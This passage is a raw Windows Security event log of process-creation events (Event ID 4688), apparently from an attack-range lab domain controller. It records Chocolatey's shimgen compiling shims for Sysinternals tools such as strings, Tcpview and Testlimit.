Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246897 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x618 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc0c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246896 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc0c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb34 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\strings.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_2550\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_2550\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_2550\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_2550\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_2550\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246895 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb34 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246894 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb34 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\strings.exe" --output="C:\ProgramData\chocolatey\bin\strings.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\strings.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246893 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x30c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEFA.tmp" "c:\ProgramData\chocolatey\bin\CSC213546CCDD7E4497AF6826A584A64A39.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246892 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x534 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x30c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246891 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x30c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe8c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\streams64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_0362\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_0362\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_0362\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_0362\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_0362\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246935 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xab4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246934 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Testlimit.exe" --output="C:\ProgramData\chocolatey\bin\Testlimit.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Testlimit.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246933 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3fc - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES15EF.tmp" "c:\ProgramData\chocolatey\bin\CSCDB32CAF98F7A48A49EA1D7248D53DC3E.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246932 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc98 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3fc - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246931 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3fc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Tcpview.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_8174\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_8174\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_8174\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_8174\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_8174\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246930 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc64 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246929 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Tcpview.exe" --output="C:\ProgramData\chocolatey\bin\Tcpview.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Tcpview.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246928 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x534 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1505.tmp" "c:\ProgramData\chocolatey\bin\CSC55B4F1E016554FE782F1BE97A0B56854.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246927 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x36c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x534 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246926 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x534 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Tcpvcon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_5830\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_5830\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_5830\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_5830\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_5830\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information 